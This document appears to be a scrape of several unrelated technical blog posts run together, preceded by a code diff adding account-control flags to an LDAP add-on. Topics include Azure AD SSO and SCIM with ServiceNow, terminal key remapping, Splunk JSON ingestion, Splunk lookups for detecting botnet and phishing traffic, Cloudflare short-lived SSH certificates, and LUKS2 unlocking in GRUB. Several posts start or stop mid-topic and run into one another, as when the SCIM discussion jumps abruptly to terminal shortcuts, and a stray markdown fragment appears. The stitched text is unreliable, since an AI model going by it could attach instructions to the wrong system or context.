--- SA-ldapsearch/bin/packages/app/formatting_extensions.py  2023-09-06 00:00:00.000000000 +0000+++ SA-ldapsearch/bin/packages/app/formatting_extensions.py  2023-09-06 00:00:00.000000001 +0000@@ -721,6 +721,12 @@         names.append('PASSWORD_EXPIRED')     if flags & 0x1000000:         names.append('TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION')+    if flags & 0x2000000:+        names.append('NO_AUTH_DATA_REQUIRED')+    if flags & 0x4000000:+        names.append('PARTIAL_SECRETS_ACCOUNT')+    if flags & 0x8000000:+        names.append('USE_AES_KEYS')     # Zero or one of these flags may be set@@ -822,6 +828,7 @@     '1.2.840.113556.1.4.1303':          format_sid,                    # Token-Groups-No-GC-Acceptable     '1.2.840.113556.1.4.8':             format_user_flag_enum,         # User-Account-Control+    '1.2.840.113556.1.4.1460':          format_user_flag_enum,         # ms-DS-User-Account-Control-Computed     # formatter specially for msExchMailboxSecurityDescriptor     '1.2.840.113556.1.4.7000.102.80' : format_security_descriptor,     # msExchMailboxSecurityDescriptor

In an enterprise environment, SSO provides convenience to the staff and several benefits to the enterprise. Three benefits to the enterprise:

1. Less accounts to create (onboarding), maintain and disable/delete (offboarding).
2. During offboarding, disabling an account from the identity provider will also revoke access to SSO-enabled systems, thus providing better security.
3. Identity provider is much more likely to support multi-factor authentication (MFA), enabling more systems to be MFA-secured.

SSO does not necessarily provide better security all the time. Threat actor can utilise a compromised account to access any SSO-enabled system that the account has prior access, leading to wider blast radius. There are three mitigations to reduce such risk:

1. Enforce MFA to minimise the chance of accounts being compromised.
2. Limit access to SSO-enabled systems through access control list (ACL).
3. Enforce conditional access. For example, identity provider can be configured to prompt for second-factor authentication when accessing a sensitive system, even when the user is already logged in using MFA before. Identity provider could also enforce phish-resistant MFA for access to sensitive systems.

SSO in Azure AD §

Configuring a system to utilise Azure Active Directory (AAD)/Entra ID involves setting up SAML and optionally SCIM. SCIM is only used to provision users, SAML can supply the necessary information (email, name, phone, etc) to the SSO-enabled system to create users on-demand upon first login (of that user) and update the user information in subsequent logins. In ServiceNow SAML configuration, under “User Provisioning” tab, on-demand user provision can be enabled by ticking “Auto Provisioning User” and “Update User Record Upon Each Login”.

During the initial SAML setup in ServiceNow, it requires a successful test login (using an AAD account, in this case) before SSO can be activated. This will fail if the user does not exist in ServiceNow yet. To pass it, simply create a new ServiceNow user that has the same email as the test AAD account. If you are confident the SAML setting is correct, the test login can be made optional. It is easier to utilise the “Automatically configure ServiceNow” option because it will also configure the transform mapping in ServiceNow which enables it to map SAML attributes (emailaddress, name, etc) to the respective ServiceNow’s sys_user table columns.

In SAML configuration, AAD uses the “user.userprincipalname” (UPN) attribute as the unique user identifier. UPN is usually equivalent to the email address, so the AAD guide recommends to change the user identifier to “email” in ServiceNow’s Multi-Provider SSO. However, it is possible for UPN to be different to email and will prevent affected users from accessing ServiceNow. UPN or email is also not immutable, a user may change their email to reflect a name change. This can results in duplicate users, if “Auto Provisioning User” is enabled in ServiceNow.

Even though SCIM can avoid duplicates, users with a recently changed email may still face access issue for a while because AAD SCIM is not real-time and each sync can take up to 30 minutes, longer if the attribute is sourced from on-premise AD (which will needs to be synced-up to AAD using AD Connect, and then to ServiceNow using SCIM).

To avoid this issue, there are three choices of source attribute that are immutable, each of them is suitable as a unique user identifier in SAML. They do not map with existing ServiceNow sys_user columns, so you will need a new column and a new mapping in the transform map.

1. user.objectid: for AAD-only environment.
2. user.onpremisesimmutableid: refers to GUID. AAD uses this attribute as the primary key to identify on-premise AD user.
3. user.onpremisesecurityidentifier: refers to SID, may not necessarily synced-up to AAD.

SCIM §

With on-demand user provision, it is possible to use SAML without SCIM. However, since a user is only created after the initial SSO login, user lookup will be limited. For example in ServiceNow, a support staff will not be able to enter the “this incident affects user X” field if that user has never login to ServiceNow before. SCIM can provision all users found in an identity provider into a target system. It is also possible to provision based on conditions, such as to exclude generic or service accounts.

Prior to configuring SCIM in ServiceNow, it is essential to disable SAML on-demand user provision “Auto Provisioning User” and “Update User Record Upon Each Login”. This is to avoid SAML-sourced attribute from overwriting SCIM’s in sys_user table, because SAML mapping does not necessarily match SCIM’s.

In AAD SCIM, the default primary mapping is userPrincipalName → user_name with user_name being set as the primary key (Show advanced options → Edit attribute list for ServiceNow). A mapping is considered as primary when it has “Match objects using this attribute“ enabled and has the lowest value in “Matching precedence”. “Match objects…” is to configure SCIM to utilise a mapping to check existence of each user, i.e. provision a user in the target system if it does not exist. Multiple mappings can be used in different order, in case a source attribute is empty. At least one mapping must have “Match objects…” enabled.

What if user B has employeeId later on? There is a (unconfirmed) possibility that it can results in duplicate user B in the target system.

This can be avoided by using a mandatory and immutable AAD attribute. Similar to the three options mentioned in the previous section, they are:

1. objectId
2. immutableId
3. onPremisesSecurityIdentifier

Steps to configure:

1. In ServiceNow, add a new column in sys_user ServiceNow table.
2. In AAD SCIM, Show advanced options → Edit attribute list for ServiceNow, add a new attribute with the same name as configured in previous step. Tick “Required” and “Primary”, untick “Primary” in existing attribute (usually “user_name”).
3. Add a new mapping with “Match objects” enabled.
4. Disable it in existing mapping (usually “userPrincipalName → user_name”).
5. Save

Single-space value §

An interesting issue I encountered which was ultimately caused by an AAD attribute that had a value of just a single space. I initially configured a SCIM mapping as follow: Coalesce([attributeA], [attributeB]) -> u_column_z where Coalesce() returns the first non-empty attribute. I knew attributeB is never empty, however somehow some users had (blank) value in their “u_column_z” field.

I fired up the Expression Builder in AAD SCIM and tried Coalesce([attributeA], [attributeB]) on one of the affected users. It returned “Your expression is valid, but your expression evaluated to an empty string”. Tried ToUpper([attributeA]), same. Tried IsNullorEmpty([attributeA]), got “false”. If an attribute has empty value, it will return “null”. So, this meant attributeA is not empty. But what could it be?

IIF([attributeA]=" ", "space", "no space")space

AAD SCIM trims any leading and trailing whitespaces in the output, similar to trim() JavaScript method.

Aside from an obvious fix by removing that space in AAD, a workaround like “Coalesce(Trim([attributeA]), [attributeB])” works too.

However there were two shortcuts which did not work as intended: Ctrl+h and Ctrl+Backspace. The first one is supposed to be equivalent to backspace, but it was deleting previous word just like Ctrl+Backspace or Ctrl+w. The second one did not work on PowerShell’s Emacs mode.

While looking for a workaround for other terminal and shell, I find it helpful to remember these two facts so that you can stay on the right track.

• $TERM does not refer to the terminal emulator
• Shell does not recognise Ctrl+Backspace

$TERM is not the terminal emulator §

In Kitty, $TERM is “xterm-kitty”; most other Linux terminals output it as “xterm-256color”. The value actually refers to the “terminfo“ being used and not the terminal emulator.

Shell does not recognise Ctrl+Backspace §

When Ctrl+Backspace is pressed, a terminal emulator either sends “^?” or “^H” control character to the shell, which then initiate an action (e.g. “backward-kill-word”).

“^[character]“ is first and foremost a caret notation of a control character, a friendlier representation of hexadecimal, much like hexadecimal is a nicer representation of binary. “^H” actually means control-code-8 (H is the eighth letter), instead of representing Ctrl+h. “^H” can be entered using Ctrl+h simply because it is more practical than having a dedicated key for each control character on a keyboard.

Remap Ctrl+h to ^? §

Most terminal emulators map Backspace to “^?” and Ctrl+Backspace to “^H”. Since Ctrl+h is also mapped to “^H”, thus sharing a similar action (“backward-kill-word”) with Ctrl+Backspace. The easiest fix is to remap Ctrl+h to “^?”. This approach only needs to configure the terminal emulator.

To check which control character is mapped to:

$ showkey -a# backspace^?   127 0177 0x7f# ctrl+ backspace^H    8 0010 0x08

kitty §

map ctrl+h send_text normal \x7f

Add the above line to the end of “$HOME/.config/kitty/kitty.conf”. “7f” is the hex of “^?”.

Press Ctrl+Shirt+F5 to reload the config and run showkey -a to verify Ctrl+h has been remapped.

$ showkey -a# ctrl+h^?   127 0177 0x7f

Windows Terminal §

Go Settings → Open JSON file which will open “$home\AppData\Local\Packages\Microsoft.WindowsTerminal_xxx\LocalState\settings.json”. Under "actions" list, append the following object.

{  "command": {    "action": "sendInput",    "input": "\u007F"  },  "keys": "ctrl+h"}

Map Ctrl+Backspace to backward-kill-word §

Ctrl+Backspace does not work as expected when I switch the PowerShell’s edit mode to Emacs Set-PSReadLineOption -EditMode Emacs, even though it works in the default Cmd mode. This is because PowerShell binds it to BackwardDeleteChar in Emacs mode. Somehow I could not remap it to “^H” (\b).

Some xterm users also have this issue and a workaround is by mapping it to an unused escape sequence, then bind it to backward-kill-word in the shell. While Windows Terminal supports sending an escape sequence, the corresponding binding is not supported in PowerShell. Instead of using escape sequence, let’s use a unicode character, specifically a character within the range of private use area (U+E888-U+F8FF) to avoid conflict with existing characters. I choose U+E888 for this example.

Anyhow, it is only a tiny issue for me since I can always use Ctrl+w.

Windows Terminal §

Go Settings → Open JSON file which will open “$home\AppData\Local\Packages\Microsoft.WindowsTerminal_xxx\LocalState\settings.json”. Under "actions" list, append the following object.

{  "command": {    "action": "sendInput",    "input": "\uE888"  },  "keys": "ctrl+backspace"}

PowerShell §

$PROFILE
Set-PSReadLineKeyHandler -Chord "`u{E888}" -Function BackwardKillWord

The following Windows Terminal + PowerShell configs did not work for me. Windows Terminal did yield the correct control character, but somehow PowerShell could not recognise it.

{  "command": {    "action": "sendInput",    "input": "\u007F"  },  "keys": "backspace"},{  "command": {    "action": "sendInput",    "input": "\b"  },  "keys": "ctrl+backspace"}

$PROFILE
Set-PSReadLineKeyHandler -Chord "`u{007F}" -Function BackwardDeleteCharSet-PSReadLineKeyHandler -Chord "`b" -Function BackwardKillWord

zsh §

$HOME/.zshrc
bindkey '\uE888' backward-kill-word

bash §

$HOME/.bashrc
bind '"\uE888":backward-kill-word'

example.log
{ "datetime": 1672531212123456, "event_id": 1, "key1": "value1", "key2": "value2", "key3": "value3" }{ "datetime": 1672531213789012, "event_id": 2, "key1": "value1", "key2": "value2", "key3": "value3" }{ "datetime": 1672531214345678, "event_id": 3, "key1": "value1", "key2": "value2", "key3": "value3" }

• Each event is in JSON, not the file.
  • This also means the log file is not a valid JSON file.
• Each event is separated by newline.

The format can be achieved by exporting live event in JSON and append to a log file. However, I encountered a situation where the log file can only be generated by batch. Exporting the equivalent of the previous “example.log” in JSON without string manipulation looks like this:

example.json
[  {    "datetime": 1672531212123456,    "event_id": 1,    "key1": "value1",    "key2": "value2",    "key3": "value3"  },  {    "datetime": 1672531213789012,    "event_id": 2,    "key1": "value1",    "key2": "value2",    "key3": "value3"  },  {    "datetime": 1672531214345678,    "event_id": 3,    "key1": "value1",    "key2": "value2",    "key3": "value3"  }]

I will detail the required configurations in this post, so that Splunk is able to parse it correctly even though “example.json” is not a valid JSON file.

UF inputs.conf §

$SPLUNK_HOME/etc/deployment-apps/foo/local/inputs.conf
[monitor:///var/log/app_a]disabled = 0index = index_namesourcetype = app_a_event

monitor directive is made up of two parts: monitor:// and the path, e.g. /var/log/app_a. Unlike most Splunk configs, this directive does’t require the backslash (used in Windows path) to be escaped, e.g. monitor://C:\foo\bar.

A path can be a file or a folder. When (*) wildcard matching is used to match multiple folders, another wildcard needs to be specified again to match files in those matched folders. The wildcard works for a single path segment only. For example, to match all the following files, use monitor:///var/log/app_*/*. Splunk also supports “…” for recursive matching.

/var/log/├── app_a│   ├── 1.log│   ├── 2.log│   └── 3.log├── app_b│   ├── 1.log│   ├── 2.log│   └── 3.log└── app_c    ├── 1.log    ├── 2.log    └── 3.log

Specify an appropriate value in sourcetype config, the value will be the value of sourcetype field in the ingested events under the “monitor” directive. Take note of the value you have configured, it will be used in the rest of configurations.

Forwarder props.conf §

props.conf
[app_a_event]description = App A logsINDEXED_EXTRACTIONS = JSON# separate each object into a lineLINE_BREAKER = }(,){\"datetime\"# a line represents an eventSHOULD_LINEMERGE = 0TIMESTAMP_FIELDS = datetimeTIME_FORMAT = %s## default is 2000# MAX_DAYS_AGO = 3560

The directive name should be the sourcetype value specified in the inputs.conf. The following configs apply to the universal forwarder is because INDEXED_EXTRACTIONS is used.

• LINE_BREAKER: Search for string that matches the regex and replace only the capturing group with newline (\n). This is to separate each event into separate line.
  • }(,){\"datetime\" searches for },{"datetime" and replaces “,” with “\n”.
• SHOULD_LINEMERGE: only used for event that spans multiple lines. In this case, it’s the reverse, the log file has all events in one line.
• TIMESTAMP_FIELDS: Refers to datetime key in the example.json.
• MAX_DAYS_AGO (optional): Specify the value if there are events older than 2,000 days.
• TIME_FORMAT: Optional if Unix time is used, but recommended to specify whenever possible. When Unix time is used, it is not necessary to specify %s%3N when there is subsecond.

The location of “props.conf” depends on whether the universal forwarder is centrally managed by a deployment server.

Path A: $SPLUNK_HOME/etc/deployment-apps/foo/local/props.conf
Path B: $SPLUNK_HOME/etc/apps/foo/local/props.conf

If there is a deployment server, then the config file should be in path A, in which the server will automatically deploy it to path B in the UF. If the UF is not centrally managed, it should head straight to path B.

Search head props.conf §

props.conf
[app_a_event]description = App A logsKV_MODE = noneAUTO_KV_JSON = 0SHOULD_LINEMERGE = 0

Since index-time field extraction is already enabled using INDEXED_EXTRACTIONS, search-time field extraction is no longer necessary. If KV_MODE and AUTO_KV_JSON are not disabled, there will be duplicate fields in the search result.

In Splunk Enterprise, the above file can be saved in a custom app, e.g. “$SPLUNK_HOME/etc/app/custom-app/default/props.conf”

For Splunk Cloud deployment, the above configuration can be added through a custom app or Splunk Web: Settings > Source types.

Ingesting API response §

It is important to note SEDCMD runs after INDEXED_EXTRACTIONS. I noticed this behaviour when I tried to ingest API response of LibreNMS.

{  "status": "ok",  "devices": [    { "device_id": 1, "key1": "value1", "key2": "value2" },    { "device_id": 2, "key1": "value1", "key2": "value2" },    { "device_id": 3, "key1": "value1", "key2": "value2" }  ],  "count": 3}

In this scenario, I only wanted to ingest “devices” array where each item is an event. The previous approach not only did not split the array, but “status” and “count” fields still existed in each event despite the use of SEDCMD to remove them.

The solution is not to use INDEXED_EXTRACTIONS (index-time field extraction), but use KV_MODE (search-time field extraction) instead. INDEXED_EXTRACTIONS is not enabled so that SEDCMD works more reliably. If it’s enabled, the JSON parser can unpredictably split part of the prefix (in this case {"status": "ok", "devices": [) or suffix into separate events and SEDCMD does not work across events. SEDCMD does work with INDEXED_EXTRACTIONS, but you have to make sure the replacement is within an event

props.conf
# heavy forwarder or indexer[api_a_response]description = API A response# remove bracket at the start and end of each lineSEDCMD-remove_prefix = s/^\{"status": "ok", "devices": \[//gSEDCMD-remove_suffix = s/\], "count": [0-9]+\}$//g# separate each object into a lineLINE_BREAKER = }(, ){\"device_id\"# if each line/event is very long# TRUNCATE = 0# a line represents an eventSHOULD_LINEMERGE = 0

props.conf
# search head[api_a_response]description = API A responseKV_MODE = jsonAUTO_KV_JSON = 1

• botnet-filter-splunk.csv
• botnet_ip.csv
• opendbl_ip.csv
• phishing-filter-splunk.csv
• pup-filter-splunk.csv
• urlhaus-filter-splunk-online.csv
• vn-badsite-filter-splunk.csv

These CSV files can be used as lookups to find potentially malicious traffic. They contain a list of bad IPs/domains/URLs and we are going to look for those values in the events.

We can view the content of a lookup file by using inputlookup. When using that command, there should always be a leading pipe character “|” because it is an event-generating command.

Lookup file locations §

Lookup file can be uploaded via Splunk Web or creating the file in the following locations:

• $SPLUNK_HOME/etc/users/<username>/<app_name>/lookups/
• $SPLUNK_HOME/etc/apps/<app_name>/lookups/
• $SPLUNK_HOME/etc/system/lookups/

In Splunk Web, setting the permission to app-sharing or global-sharing will automatically moves the file to the second or third location respectively. Uploaded lookup file can be used straight away without having to reload app or restart Splunk, regardless of which way it was created.

inputlookup basics §

| inputlookup botnet_ip.csv

_time field is omitted for brevity.

The output is no different to any other event, we can specify which fields to be displayed and then rename the fields.

| inputlookup botnet_ip.csv | fields dst_ip | rename dst_ip AS dst

Search for specific events §

Example firewall events:

index=firewall

Notice the second row’s dst value matches dst_port value of the example lookup table shown in the previous section.

To match for dst value of the firewall events and dst_ip of the lookup file, use a subsearch with inputlookup. In this example, the subsearch extracts only the dst_ip field and rename it to dst in order to match the same field in the firewall events.

index=firewall [| inputlookup botnet_ip.csv | fields dst_ip | rename dst_ip AS dst]

To display events in table format, append | table *

Wildcard §

Asterisk character (*) in the lookup file does work as a wildcard.

index=proxy

The lookup files do not include wildcard affix.

| inputlookup urlhaus-filter-splunk-online.csv

The add-on includes geturlhausfilter command along with other commands to update their respective lookup file. Those commands has wildcard_suffix argument to append wildcard to the field’s values.

| geturlhausfilter wildcard_suffix=host| outputlookup override_if_empty=false urlhaus-filter-splunk-online.csv

index=proxy [| inputlookup urlhaus-filter-splunk-online.csv | fields host_wildcard_suffix | rename host_wildcard_suffix AS url ]

Wildcard prefix §

Previous section showed an example using wildcard suffix (“foo.com*“). Wildcard also works as a prefix (“*foo.com”) or even in the middle (“f*o.com”), though these are discouraged.

index=proxy

| geturlhausfilter wildcard_prefix=host| outputlookup override_if_empty=false urlhaus-filter-splunk-online.csv

index=proxy [| inputlookup urlhaus-filter-splunk-online.csv | fields host_wildcard_prefix | rename host_wildcard_prefix AS domain ]

Matching multiple fields §

File hosting services like Google Docs and Dropbox are commonly abused to host phishing website. For those sites, the lookup should match both domain and path. When specifying more than one field in fields command, all fields will be matched using AND condition.

index=proxy

| inputlookup urlhaus-filter-splunk-online.csv

index=proxy [| inputlookup urlhaus-filter-splunk-online.csv | fields host, path | rename host AS domain ]

Matching individual and multiple fields §

A lookup file may have rows with empty path to denote a domain should be blocked regardless of paths, while also having rows with both domain and path to denote a specific URL should be blocked instead. The syntax is the same as what was shown in the previous section because Splunk will only match non-empty values, empty values will be ignored instead.

index=proxy

| inputlookup urlhaus-filter-splunk-online.csv

index=proxy [| inputlookup urlhaus-filter-splunk-online.csv | fields host, path | rename host AS domain ]

Case-insensitive §

Lookup file is case-insensitive. If case-sensitive matching is required, use lookup and lookup definition.

index=proxy

| inputlookup urlhaus-filter-splunk-online.csv

index=proxy [| inputlookup urlhaus-filter-splunk-online.csv | fields host, path | rename host AS domain ]

CIDR matching §

Splunk automatically detects CIDR-like value in a lookup file and performs CIDR-matching accordingly. However, this behaviour is on best-effort basis and may not work as intended. To explicitly use lookup fields for CIDR-matching, use lookup and lookup definition.

index=firewall

| inputlookup opendbl_ip.csv

index=firewall [| inputlookup opendbl_ip.csv | fields cidr_range | rename cidr_range AS dst ]

inputlookup + lookup §

When using as a subsearch, inputlookup filters the event data and only outputs rows with matching values of specified field(s). lookup enriches the event data by appending new fields to the rows with matching field values. Another way to understand the difference is that inputlookup performs inner join while lookup performs left outer join where the event data is the left table and the lookup file is the right table.

Despite their difference, it can be useful to use both at the same time to enrich filtered event data, even when using the same lookup file.

| inputlookup botnet_ip.csv

_time field is omitted for brevity.

index=firewall

index=firewall [| inputlookup botnet_ip.csv | fields dst_ip | rename dst_ip AS dst]

index=firewall [| inputlookup botnet_ip.csv | fields dst_ip | rename dst_ip AS dst]| lookup botnet_ip.csv dst_ip AS dst OUTPUT c2_status, malware

It is also possible to rename lookup destination fields.

index=firewall [| inputlookup botnet_ip.csv | fields dst_ip | rename dst_ip AS dst]| lookup botnet_ip.csv dst_ip AS dst OUTPUT c2_status AS "C2 Server Status", malware AS "Malware Family"

Lookup definition §

Lookup definition provides matching rules for a lookup file. It can be configured for case-sensitivity, wildcard, CIDR-matching and others through transforms.conf. It can also be configured via Splunk Web: Settings → Lookups → Lookup definitions.

A bare minimum lookup definition is as such:

transforms.conf
[lookup-definition-name]filename = lookup-filename.csv

transforms.conf can be saved in the following directories in order of priority (highest to lowest):

• $SPLUNK_HOME/etc/users/<username>/<app_name>/local/
• $SPLUNK_HOME/etc/apps/<app_name>/local/
• $SPLUNK_HOME/etc/system/local/

My naming convention for lookup definition is simply removing the .csv extension, e.g. “example.csv” (lookup file), “example” (lookup definition). While it is possible to name a lookup definition with file extension (“example.csv”), I discourage it to avoid confusion.

It is imperative to note that lookup definition only applies to lookup search command and does not apply to inputlookup. Although inputlookup supports lookup definition as a lookup table (in addition to lookup file), its matching rules will be ignored.

Case-sensitive §

transforms.conf
[urlhaus-filter-splunk-online]filename = urlhaus-filter-splunk-online.csv# applies to all fieldscase_sensitive_match = 1

index=proxy

| inputlookup urlhaus-filter-splunk-online

index=proxy| lookup urlhaus-filter-splunk-online host AS domain, path OUTPUT message

Wildcard (lookup) §

transforms.conf
[urlhaus-filter-splunk-online]filename = urlhaus-filter-splunk-online.csvmatch_type = WILDCARD(host_wildcard_suffix)

index=proxy

The lookup files do not include wildcard affix.

| inputlookup urlhaus-filter-splunk-online

index=proxy| lookup urlhaus-filter-splunk-online host_wildcard_suffix AS url OUTPUT message

CIDR-matching (lookup) §

transforms.conf
[opendbl_ip]filename = opendbl_ip.csvmatch_type = CIDR(cidr_range)

index=firewall

| inputlookup opendbl_ip

index=firewall| lookup opendbl_ip cidr_range AS dst OUTPUT name AS threat

• Public keys are not enough for SSH security
• SSH with short-lived certificates
• Configure short-lived certificates
• Self-hosted applications
• Connect with SSH through Cloudflare Tunnel

Introduction §

One unpleasant task I had previously in an enterprise with Linux servers was SSH key management, specifically checking the SSH public keys of departed staff have been removed from the Ansible config. Then I learned from this article that it is possible to SSH using a short-lived (<1 day) certificate that is only issued to the user after successfully authenticate with the enterprise identity provider’s (e.g. Azure AD) single sign-on (SSO). This means once a user is revoked from the identity provider, that user would not be issued with a new certificate to SSH again the next day. At that time, I didn’t feel like configuring and integrating an identity provider, so I held off trying the feature.

Recently, I wanted to try out the Cloudflare Zero Trust free tier. While reading through the SSH configuration guide, I found out that Cloudflare support issuing SSH user certificate. While Cloudflare supports several SSO integration, it also supports authenticating using one-time PIN sent to an email address that does not have to be a Cloudflare account. Cloudflare also supports browser-based shell, just like the AWS Session Manager.

Prerequisites §

• A domain hosted on Cloudflare DNS
• Cloudflare Zero Trust (free for 50 users)
• A VM or cloud instance (optional, easier to clean up)

Cloudflare Zero Trust §

Navigate to Zero Trust page shown on the sidebar after you login to dash.cloudflare.com. If this is your first time, Cloudflare will ask for billing info in which you can use an existing one or add a new credit card. You won’t get charged as long as you stay within the free tier (50 users), I will show you how to check later in this article.

The setup will then ask you to name your team domain team-name.cloudflareaccess.com. Just create a random name for now, you can always change it later.

Add an application §

Once you’re in Zero Trust console, navigate to Access → Applications. Add an application and choose Self-hosted.

Configure app tab,

• Application name: any name
• Session duration: 15 minutes.
  • In a corporate environment, “6 hours” is probably more user-friendly.
  • For sensitive server, consider “No duration”.
• Application domain: test.yourdomain.com
  • The subdomain should not have an existing website.
  • It may be possible to use an existing website, by specifying test.yourdomain.com/custom-path for SSH, though I haven’t try it.
• App Launcher visbility: No
• Accept all available identity providers: No, unless you have integrated an identity provider.
• Select One-time PIN
• Instant Auth: Yes

Add policies tab,

• Policy name: any name
• Action: Allow
• Session duration: same
• Configure rules: (Include) Emails = an email address
  • Any of your email is fine, regardless whether it’s a Cloudflare account.
  • Cloudflare will not create an account using that email, it will only be used to receive one-time PIN.

Setup tab:

• CORS settings: leave it as is
• Cookies settings:
  • SameSite Attribute: blank or Lax
    • Either setting is practically the same, browsers default to Lax when SameSite is not set.
    • “Strict” value cannot be used because Cloudflare will authenticate the user on team-name.cloudflareaccess.com and issue a cookie on test.yourdomain.com.
  • HTTP Only: Yes
• Additional settings:
  • Enable automatic cloudflared authentication: Yes
  • Browser rendering: SSH

Generate a CA certificate §

Navigate to Access → Service Auth → SSH tab. Select the application you just created and Generate certificate.

Copy the generated public key and save it to /etc/ssh/ca.pub in your host (the host you’re going to SSH into).

sudo -e /etc/ssh/ca.pub

Create a tunnel §

Navigate to Access → Tunnels

• Name: any name

Install connector tab, choose the relevant OS and run the installation command. Once installed, you should see “connected” status.

Route tunnel tab,

• Public hostname: test.yourdomain.com
  • This is the application domain in the Add an application step.
• Service
  • SSH type: URL = localhost:22
    • Replace 22 with the custom SSH port you are going to use.

After finishing creating a tunnel, you should have a new CNAME DNS record that points to tunnel-id.cfargotunnel.com. If there is no CNAME entry, grab the tunnel ID and create a new DNS record.

Start SSH server §

Install openssh-server.

sudo -e /etc/ssh/sshd_config.d/cf.conf

/etc/ssh/sshd_config.d/cf.conf
TrustedUserCAKeys /etc/ssh/ca.pubListenAddress 127.0.0.1ListenAddress ::1PasswordAuthentication no# Uncomment below line for custom port# Port 1234

systemctl restart ssh or systemctl restart sshd

Create a test user §

The easiest setup is one where a Unix username matches the email that you configured to receive one-time PIN in previous steps. For example, if you set loremipsum@youremail.com, then create a new user loremipsum.

sudo adduser loremipsum

Set a random password and leave everything else blank.

Matching email to different username §

To match loremipsum@youremail.com to lipsum user:

/etc/ssh/sshd_config.d/cf.conf
Match user lipsum  AuthorizedPrincipalsCommand /bin/echo 'loremipsum'  AuthorizedPrincipalsCommandUser nobody

loremipsum+somealias@youremail.com also works.

/etc/ssh/sshd_config.d/cf.conf
Match user lipsum  AuthorizedPrincipalsCommand /bin/echo 'loremipsum+somealias'  AuthorizedPrincipalsCommandUser nobody

AuthorizedPrincipalsFile §

For NixOS user, AuthorizedPrincipalsCommand will not work because the command will run within “/nix/store” but it is read-only. Instead, you should use AuthorizedPrincipalsFile. This config also enables you to match multiple emails to a username, just separate each email user by newline. This applies to all OpenSSH instances, not just NixOS.

echo 'loremipsum' | sudo tee /etc/ssh/authorized_principals

/etc/nixos/configuration.nix
  services.openssh = {    enable = true;    permitRootLogin = "no";    passwordAuthentication = false;    # ports = [ 1234 ];    extraConfig =      ''        TrustedUserCAKeys /etc/ssh/ca.pub        Match User lipsum          AuthorizedPrincipalsFile /etc/ssh/authorized_principals          # if there is no existing AuthenticationMethods          AuthenticationMethods publickey      '';  };```### Other use caseshttps://developers.cloudflare.com/cloudflare-one/identity/users/short-lived-certificates/#2-ensure-unix-usernames-match-user-sso-identities## Initiate SSH connectionInstall `cloudflared` on the host that you're going to SSH from.`cloudflared access ssh-config --hostname test.yourdomain.com --short-lived-cert`Example output:```plain ~/.ssh/configMatch host test.yourdomain.com exec "/usr/local/bin/cloudflared access ssh-gen --hostname %h"    ProxyCommand /usr/local/bin/cloudflared access ssh --hostname %h    IdentityFile ~/.cloudflared/%h-cf_key    CertificateFile ~/.cloudflared/%h-cf_key-cert.pub

or

~/.ssh/config
Host test.yourdomain.com    ProxyCommand bash -c '/usr/local/bin/cloudflared access ssh-gen --hostname %h; ssh -tt %r@cfpipe-test.yourdomain.com >&2 <&1'Host cfpipe-test.yourdomain.com    HostName test.yourdomain.com    ProxyCommand /usr/local/bin/cloudflared access ssh --hostname %h    IdentityFile ~/.cloudflared/test.yourdomain.com-cf_key    CertificateFile ~/.cloudflared/test.yourdomain.com-cf_key-cert.pub

Save the output to $HOME/.ssh/config.

Now, the moment of truth.

ssh loremipsum@test.yourdomain.com (replace the username with the one you created in Create a test user step.)

The terminal should launch a website to team-name.cloudflareaccess.com. Enter the email you configured in Add an application step and then enter the received 6-digit PIN.

Back to the terminal, wait for at least 5 seconds and you should see the usual SSH authentication.

You may wondering why you still see fingerprint warning, I find this article SSH Best Practices using Certificates, 2FA and Bastions explains it well.

Browser-based shell §

As a bonus, head to test.yourdomain.com (see Add an application step) which will redirect you to a login page just the previous step. After login with a 6-digit PIN, you shall see a browser-based shell.

Usage monitoring §

Head to Settings → Account to monitor how many users you have, each email address you configured to receive one-time PIN is counted as one user.

To delete user(s), head to Users, tick the relevant users, Update status and then Remove. The seat usage column should show Inactive.

Inspect user certificate §

ssh-keygen -L -f ~/.cloudflared/test.yourdomain.com-cf_key-cert.pub

I ticked “Encrypt system” and Manjaro created two partitions in my NVMe drive without LVM. Btrfs subvolume can provide LVM-like functionality.

The implication of the above layout is that /boot (where the kernel resides) is encrypted, except for /boot/efi (Grub resides here)—p1 is not encrypted, p2 is LUKS-encrypted. So, Grub has to unlock the LUKS partition first (using password), before the rest of / can be unlocked (using keyfile). Keyfile is used in this layout so that password is not prompted twice.

There are two disadvantages of using Grub to unlock LUKS:

1. Slow unlocking due to lack of cryptography acceleration
2. Limited LUKS2 support, i.e. Argon2 is not supported

Fortunately, there is an AUR package grub-improved-luks2-git that has been patched for Argon2 support. I will also show how to tune Argon2 parameters for faster unlock (while sacrificing security).

Prerequisite §

• Manjaro/Arch live USB/CD, for offline (unmounted) LUKS1 to LUKS2 keyslot conversion
  • Keyslot technically can be updated in mounted partition since it is only used to unlock the encryption key, once unlocked, subsequent data encryption/decryption uses only the encryption key.
  • I just feel uneasy doing this while the partition has active I/O, so I opt for live USB instead.

grub-improved-luks2-git §

Use your favourite AUR helper to install grub-improved-luks2-git. This will take a while to compile patched Grub.

yay -S grub-improved-luks2-git

There should be a confirmation to remove grub to avoid package conflict.

Live USB §

Reboot into live USB. Identify the location of encrypted location using GParted. The partition filesystem should be “[Encrypted] btrfs”. In my case, it is /dev/nvme0n1p2.

LUKS1 to LUKS2 conversion §

sudo cryptsetup convert --type luks2 /dev/nvme0n1p2

If you want to revert back to LUKS1,

sudo cryptsetup convert --type luks1 /dev/nvme0n1p2

Before reverting back to LUKS1, the keyslot must be using PBKDF2 not Argon2, otherwise you will encounter “Cannot convert to LUKS1 format” error.

sudo cryptsetup luksConvertKey --pbkdf pbkdf2 /dev/nvme0n1p2

Load LUKS2 Grub module §

At this stage, the Grub bootloader (not the package) cannot unlock the LUKS2 partition yet. It needs to be reinstalled so that it can detect LUKS2 partition and load the relevant module.

First, unlock the partition and mount it.

sudo cryptsetup open /dev/nvme0n1p2 rootsudo mount -o subvol=@ /dev/mapper/root /mntsudo mount /dev/nvme0n1p1 /mnt/boot/efi

Notice in the “grub.cfg”, it loads luks module instead of luks2, this explains why Grub couldn’t unlock it.

$ sudo less /mnt/boot/grub/grub.cfgmenuentry 'Manjaro Linux' {  insmod luks}

While you could manually update the config and replace luks with luks2, it is better to automate it using grub-mkconfig.

sudo manjaro-chroot /mnt /bin/bash# or `sudo arch-chroot /mnt /bin/bash`grub-install --target=x86_64-efi --efi-directory=/boot/efi --bootloader-id=manjaro --recheckgrub-mkconfig -o /boot/grub/grub.cfg

Now, inspect “grub.cfg” again while still in chroot, you should see luks2 instead.

